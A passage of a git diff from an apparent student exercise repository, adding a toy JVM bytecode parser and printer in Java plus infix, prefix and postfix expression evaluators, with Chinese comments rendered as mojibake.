+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+// bipush: �����ֽڵij���ֵ(-128 - 127) ������ջ��
+public class BiPushCmd extends OneOperandCmd{
+	
+	protected BiPushCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..66d99de660
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,126 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public abstract class ByteCodeCommand {
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode.toUpperCase();
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		System.out.println("opCode: " + opCode);
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			System.out.println("txt: " + txt);
+			return opCode;
+		}
+		return txt;
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/CommandParser.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..7f85fb5664
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,149 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+		
+	public static final String aconst_null = "01";// �� null������ջ��
+	public static final String new_object = "BB";// ����һ�����󣬲���������ֵѹ��ջ��,����������ֽ����ڹ���������������ִ�����ӿڵķ�������
+	public static final String lstore = "37";// ��ջ�� long ����ֵ���� ָ�����ر���
+	public static final String invokespecial = "B7";// ���ó��๹�췽����ʵ����ʼ��������˽�з���,���������byte�����ڹ�����ǰ������ʱ�ij����ص�������ָ��������ʱ�����ص�һ�������ķ�������
+	public static final String invokevirtual = "B6";// ����ʵ������������������ֽ����ڹ���������������ָ��һ�������ķ�������
+	public static final String getfield = "B4";//��ȡָ�����ʵ���򣬲�����ѹ��ջ��
+	public static final String putfield = "B5";// Ϊָ�������ʵ����ֵ,����������ֽ����ڹ���һ���������������ָ��������ʱ�ֶε�һ���������ã������ð������ֶε����ƺ����������Լ����ֶε���ķ�������
+	public static final String getstatic = "B2";// ��ȡ�ֶεľ�̬�ֶ�ֵ
+	public static final String ldc = "12";// �� int�� float ��String �ͳ���ֵ�ӳ�������������ջ���������һ���ֽ���һ��������������ָ����int����float���͵ij���
+	public static final String dup = "59";// ��ֵ������ջջ����ֵ����ѹ�������ջ
+	public static final String bipush = "10";// �� byte ��������չΪһ�� int ���͵�ֵ value��Ȼ��valueѹ�뵽������ջ�������һ���ֽ���value
+	public static final String aload_0 = "2A";// ����һ���������ͱ��ر���������ջ��
+	public static final String aload_1 = "2B";// ���ڶ������ر������������������͵�ֵѹ�������ջ,�����޲�����
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";// ���ڶ���int�ͱ��ر���������ջ��
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";// �����ĸ�float�ͱ��ر�����������ջ��
+
+	public static final String voidreturn = "B1";// �޷���ֵ�ķ���
+	public static final String ireturn = "AC";// �ӵ�ǰ�������� int
+	public static final String freturn = "AE";// �ӵ�ǰ�������� float
+
+	public static final String astore_1 = "4C";//��ջ���������������ʹ���ڶ����ֲ���������һ��NoOperand
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";// iconst_0 ��int�� 0 ������ջ��
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+	
+	
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+		while(iter.hasNext()){
+			String opCode = iter.next2CharAsString();
+			System.out.println("�ֽ��룺 opCode --- " + opCode);
+			if(new_object.equalsIgnoreCase(opCode)){// new ������������������ָ��
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+				System.out.println("cmd");
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			}else if(invokespecial.equalsIgnoreCase(opCode)){// invokespecial ������������������ָ��
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}else if(getfield.equalsIgnoreCase(opCode)){// getfield ������������������ָ��
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			}else if(putfield.equalsIgnoreCase(opCode)){
+				System.out.println("putfield");
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}else if(getstatic.equalsIgnoreCase(opCode)){
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}else if(invokevirtual.equalsIgnoreCase(opCode)){
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}else if(bipush.equalsIgnoreCase(opCode)){
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}else if(ldc.equalsIgnoreCase(opCode)){
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}else if(dup.equalsIgnoreCase(opCode) || aload_0.equalsIgnoreCase(opCode) || iconst_0.equalsIgnoreCase(opCode) || iconst_1.equalsIgnoreCase(opCode) ||
+					aload_0.equalsIgnoreCase(opCode) || aload_1.equalsIgnoreCase(opCode) || aload_2.equalsIgnoreCase(opCode) || iload_1.equalsIgnoreCase(opCode) ||
+					iload_2.equalsIgnoreCase(opCode) || iload_3.equalsIgnoreCase(opCode) || voidreturn.equalsIgnoreCase(opCode) ||
+					astore_1.equalsIgnoreCase(opCode)){
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			}else{
+				System.out.println("the " + opCode+ "has not been implements");
+			}
+		}
+		
+		calcuateOffset(cmds);
+		System.out.println("cmds.size ------ " + cmds.size());
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+	
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetFieldCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..d383c51497
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd{
+
+	protected GetFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..fafe227dee
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd{
+
+	protected GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..300e0f68c6
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd{
+
+	protected InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..99dfbab1a9
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd{
+
+	protected InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+	
+	@Override
+	public String toString(ConstantPool pool){
+		return super.getOperandAsMethod(pool);
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..b6910b16c8
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd{
+
+	public LdcCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..765554d825
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+
+	protected NewObjectCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+	
+	@Override
+	public String toString(ConstantPool pool){
+		return super.getOperandAsClassInfo(pool);
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..238cd633fc
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	protected NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public int getLength() {
+		return 1;
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/OneOperandCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..9d1f85005c
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand{
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode){
+		super(clzFile, opCode);
+	}
+	
+	public int getOperand(){
+		return this.operand;
+	}
+	
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}	
+	
+	public  int getLength(){
+		return 2;
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..601574ea5b
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd{
+
+	protected PutFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..0a2aeff703
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,78 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public class TwoOperandCmd extends ByteCodeCommand{
+
+	// ����������
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+	
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	
+	protected TwoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+	
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	
+	@Override
+	public int getLength() {
+		return 3;
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return null;
+	}
+
+
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ClassFilePrinter.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..82c1803b3c
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.print;
+
+import java.io.IOException;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		
+		/*System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());*/
+		//System.out.println("public class " + clzFile.getConstantPool().getConstantInfo(clzFile.getClzIndex().getThisClassIndex()));
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("flags: public  ");
+		}
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+
+	}
+	
+	public static void main(String[] args) throws IOException{
+		String path = "D:/ProgramWorld/Java/Practice/LangSi/2017������Ⱥ/bin/com/coderising/jvm/loader/EmployeeV1.class";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(path);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ConstantPoolPrinter.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..4d71c51470
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,82 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitUTF8(UTF8Info info) {
+				StringBuffer buffer = new StringBuffer();
+				buffer.append("Utf8                ").append(info.getValue());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuffer buffer = new StringBuffer();
+				buffer.append("String              #").append(info.getIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuffer buffer = new StringBuffer();
+				buffer.append("NameAndTypeInfo     #").append(info.getIndex1()).append(
+						info.getIndex2());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuffer buffer = new StringBuffer();
+				buffer.append("MethodRefInfo       #").append(info.getClassInfoIndex()+"#").append(
+						info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuffer buffer = new StringBuffer();
+				buffer.append("FieldRef            #").append(info.getClassInfoIndex()).append(
+						info.getNameAndTypeIndex());
+				System.out.println(buffer);
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuffer buffer = new StringBuffer();
+				buffer.append("Class               #").append(info.getUtf8Index());
+				System.out.println(buffer);
+			}
+		};
+		
+		for (int i = 1; i <= pool.getSize(); i++) {
+			ConstantInfo constatnInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+" = ");
+			constatnInfo.accept(visitor);
+		}
+		
+		
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/InfixToPostfix.java b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/InfixToPostfix.java
new file mode 100644
index 0000000000..cfe418302b
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/InfixToPostfix.java
@@ -0,0 +1,63 @@
+package dataStructure_7_PreAndPost;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr){
+		
+		List<Token> result = new ArrayList<Token>();
+		Stack<Token> operatorStack = new Stack<Token>();
+		TokenParser parser = new TokenParser();
+		List<Token> list = parser.parse(expr);
+
+		for (Token token : list) {
+			
+			if(token.isNumber()){
+				result.add(token);
+			}else if(token.isOperator()){
+				
+				if(operatorStack.isEmpty()){
+					operatorStack.push(token);
+				}else{
+					
+					Token topOperator = operatorStack.pop();
+					
+					if(!token.hasHigherPriority(topOperator)){
+						list.add(topOperator);
+						while(true){
+							if(!operatorStack.isEmpty()){
+								Token top = operatorStack.pop();
+								
+								if(!token.hasHigherPriority(top) && !operatorStack.isEmpty()){
+									list.add(top);
+								}else{
+									break;
+								}
+							}	
+							
+						}
+						operatorStack.push(token);
+					}else{
+						operatorStack.push(topOperator);
+						operatorStack.push(token);
+					}
+					
+				}
+				
+			}
+		}
+		
+		return result;
+	}
+	
+	public static void main(String[] args) {
+		
+		List<Token> result = convert("3+2*5+6");
+		for (Token token : result) {
+			System.out.println(token);
+		}
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PostFixExpr.java b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PostFixExpr.java
new file mode 100644
index 0000000000..603a797489
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PostFixExpr.java
@@ -0,0 +1,47 @@
+package dataStructure_7_PreAndPost;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostFixExpr {
+	
+	String expr = null;
+	
+	public PostFixExpr(String expr){
+		this.expr = expr;
+	}
+	
+	public float evaluate(){
+		//Stack<Token> operatorStack = new Stack<Token>();
+		Stack<Float> operandStack = new Stack<Float>();
+		TokenParser parser = new TokenParser();
+		List<Token> list = parser.parse(expr);
+		for (Token token : list) {
+			if(token.isNumber()){
+				Float operand = Float.parseFloat(token.toString());
+				operandStack.push(operand);
+			}else if(token.isOperator()){
+				Float operand = operandStack.pop();
+				Float operanded = operandStack.pop();
+				operandStack.push(calculate(token.toString(), operanded, operand));
+			}
+		}
+		return operandStack.pop();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PreFixExpr.java b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PreFixExpr.java
new file mode 100644
index 0000000000..ed3c4b889e
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PreFixExpr.java
@@ -0,0 +1,60 @@
+package dataStructure_7_PreAndPost;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PreFixExpr {
+	
+	String expr = null;
+	 
+	public PreFixExpr(String expr){
+		this.expr = expr;
+	}
+	
+	public float evaluate(){
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		Stack<Token> operatorStack = new Stack();
+		Stack<Float> operandStack = new Stack();
+		
+		for(int i = tokens.size()-1; i >= 0; i--){
+			if(tokens.get(i).isNumber()){
+				operandStack.push(new Float(tokens.get(i).getIntValue()));
+			}else if(tokens.get(i).isOperator()){
+				checkOperandStack(operandStack.size());
+				Float operand = operandStack.pop();
+				Float operanded = operandStack.pop();
+				Float result = calculate(tokens.get(i).toString(),operand, operanded);
+				operandStack.push(result);
+			}
+		}
+		
+		return operandStack.pop();
+	}
+
+	private boolean checkOperandStack(int size) {
+		if(size < 2){
+			throw new RuntimeException("������ջ�е�Ԫ��̫��");
+		}
+		return true;
+	}
+	
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TestIntegerValueOf.java b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TestIntegerValueOf.java
new file mode 100644
index 0000000000..fd870c9eeb
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TestIntegerValueOf.java
@@ -0,0 +1,8 @@
+package dataStructure_7_PreAndPost;
+
+public class TestIntegerValueOf {
